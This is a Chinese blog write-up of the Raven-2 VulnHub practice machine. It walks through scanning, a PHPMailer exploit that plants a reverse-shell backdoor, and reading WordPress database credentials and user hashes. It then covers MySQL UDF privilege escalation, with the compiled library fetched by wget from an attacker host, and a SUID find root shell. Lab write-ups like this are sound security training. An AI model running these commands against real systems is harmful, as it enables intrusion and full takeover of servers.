当前位置: 首页 > news >正文

【OSCP-vulnhub】Raven-2

目录

端口扫描

本地/etc/hosts文件解析

目录扫描:

第一个flag

利用msf下载exp

flag2

flag3

Mysql登录

查看mysql的运行权限

MySql提权:UDF

查看数据库写入条件

查看插件目录

查看是否可以远程登录

gcc编译.o文件

创建so文件

创建临时监听

执行sql语句

创建数据表feng

插入数据文件

导出数据

创建自定义函数do_system

查询一下添加的函数

利用do_system给find命令赋予suid权限

find命令提权

The end(获取flag)

flag4{df2bc5e951d91581467bb9a2a8ff4425}

端口扫描

nmap -sS -p- 192.168.56.105 -sV -A --version-all -sC

图片

 

访问网站发现没什么可关注的点,点到blog的时候显示不可访问

图片

 

这个时候就联想到了

本地/etc/hosts文件解析

就能正常访问了。。

图片

 

目录扫描:

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.56.105

图片

 

诶嘿,扫出了蛮多个目录的

在/vendor/PATH发现

第一个flag

图片

 

在readme发现很多关于PHPMailer的信息

图片

 

以及http://192.168.56.105/vendor/VERSION在这里面提示版本为5.2.16

我们随即便去查找一下相关的exp

利用msf下载exp

图片

 

修改代码

依次修改可以发送邮件的路径,要定义的后门文件/shell.php,要回连的地址以及端口,还有网站的后门文件保存路径

图片

 

python 40974.py

接着访问/contact.php触发后门文件再访问/shell.php就可以进行反弹shell。。。

图片

 

建立交互式终端

python -c 'import pty;pty.spawn("/bin/bash")'

查找flag

find / -name flag* 

找到两个有关flags的信息

  •  /var/www/flag2.txt

  •  /var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png

flag2

cat /var/www/flag2.txt

图片

 

flag3

图片

 

接着在wordpress目录发现数据库密码

图片

 

用户名:root,密码:R@v3nSecurity

Mysql登录

mysql -uroot -pR@v3nSecurity
mysql> show databases;

+--------------------+ | Database           | +--------------------+ | information_schema | | mysql              | | performance_schema | | wordpress          | +--------------------+

mysql> use wordpress
mysql> show tables;

+-----------------------+ | Tables_in_wordpress   | +-----------------------+ | wp_commentmeta        | | wp_comments           | | wp_links              | | wp_options            | | wp_postmeta           | | wp_posts              | | wp_term_relationships | | wp_term_taxonomy      | | wp_termmeta           | | wp_terms              | | wp_usermeta           | | wp_users              | +-----------------------+

select * from wp_users;

michael    | BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0

steven     | B6X3H3ykawf2oHuPsbjQiih5iJXqad.

查看mysql的运行权限

是root权限在运行

ps -aux | grep mysql

MySql提权:UDF

查看数据库写入条件
show global variables like 'secure%';

+------------------+-------+ | Variable_name    | Value | +------------------+-------+ | secure_auth      | OFF   | | secure_file_priv |       | +------------------+-------+

  •  1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权

  •  2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权

  •  3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权! 如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

查看插件目录
show variables like '%plugin%';

+---------------+------------------------+ | Variable_name | Value                  | +---------------+------------------------+ | plugin_dir    | /usr/lib/mysql/plugin/ | +---------------+------------------------+

查看是否可以远程登录
use mysql
select user,host from user;

+------------------+-----------+ | user             | host      | +------------------+-----------+ | root             | 127.0.0.1 | | root             | ::1       | | debian-sys-maint | localhost | | root             | localhost | | root             | raven     | +------------------+-----------+

发现root用户不允许远程登录,所以不能使用MSF提权

searchsploit udf

图片

 

gcc编译.o文件

gcc -g -c 1518.c
创建so文件
gcc -g -shared -Wl,-soname,exp.so -o exp.so 1518.o -lc
  •  -g 生成调试信息

  •  -c 编译(二进制)

  •  -shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。

  •  -Wl,-soname,exp.so

    • -Wl 表示将后续参数传递给链接器(ld)。

    • -soname,exp.so 设置动态库的 内部名称SONAME),影响动态链接时的库查找行为。

  •  -o:执行命令后的文件名

  •  -lc:-l 库 c库名

创建临时监听
python -m http.server 8080
wget http://192.168.56.103:8080/1518.so -O test.so
执行sql语句
use mysql;
创建数据表feng
create table feng(line blob);
插入数据文件
insert into feng values(load_file('/tmp/test.so'));
导出数据
  • outfile 多行导出,dumpfile一行导出

    select * from feng into dumpfile '/usr/lib/mysql/plugin/test.so';
    
创建自定义函数do_system

(或者sys_exec)类型是integer,别名(soname)文件名字

create function do_system returns integer soname 'test.so';
查询一下添加的函数
select * from mysql.func;
利用do_system给find命令赋予suid权限
select do_system('chmod u+s /usr/bin/find');
find命令提权

创建一个文件:touch feng

find / -name feng -exec "/bin/sh" \;

id uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

The end(获取flag)

cd /rootlscat flag4.txt  

flag4{df2bc5e951d91581467bb9a2a8ff4425}


好啦,本文的内容就到这了,希望对你有所帮助。。

http://www.xdnf.cn/news/98749.html

相关文章:

  • pod内部共享命名空间与k8s命名空间是一个东西吗?
  • arm64适配系列文章-第一章-arm64环境上kubesphere和k8s的部署
  • mybatis xml中特殊字符处理
  • 【k8s】Taint污点)、Toleration(容忍)
  • HCIA-Access V2.5_18_网络管理基础_1_网络管理系统架构
  • 去年15天背完高项重点,成功上岸
  • H5S 寒武纪GPU转码
  • 约束constraint
  • PHP 反序列化原生类 TIPS字符串逃逸CVE 绕过漏洞属性类型特征
  • 车载功能测试-车载域控/BCM控制器测试用例开发流程【用例导出方法+优先级划分原则】
  • Linux内核源码结构
  • 数智化浪潮下,智能外呼系统如何重塑沟通格局
  • WinForm实现管理员权限运行的方式
  • 外贸获客新革命:基于AI的搜索引擎排名攻防战——48小时抢占谷歌TOP3的技术逻辑与实战路径
  • 【论文阅读】Visual Instruction Tuning
  • 数字化应用低代码开发平台的崛起
  • AI大模型学习十一:‌尝鲜ubuntu 25.04 桌面版私有化sealos cloud + devbox+minio,实战运行成功
  • 开源作业调度框架Quartz框架详细使用说明
  • XCZU19EG-2FFVC1760I Xilinx赛灵思FPGA Zynq UltraScale+MPSoC
  • 【AI 加持下的 Python 编程实战 2_09】DIY 拓展:从扫雷小游戏开发再探问题分解与 AI 代码调试能力(上)
  • 建站踩得坑,nginx+mysql+php+wordpress
  • Linux笔记---进程间通信:匿名管道
  • 2.2 主流大模型架构:GPT、DeepSeek、GLM、Claude、QwQ、Qwen2.5-Max等模型的比较与应用场景
  • C++初阶-类和对象(下)
  • Unity常用内置变换矩阵
  • C++20 module下的LVGL模拟器
  • 使用logrotate实现日志轮转
  • 深度学习激活函数与损失函数全解析:从Sigmoid到交叉熵的数学原理与实践应用
  • MYSQL之表的操作
  • 店匠科技摘得 36 氪“2025 AI Partner 创新大奖”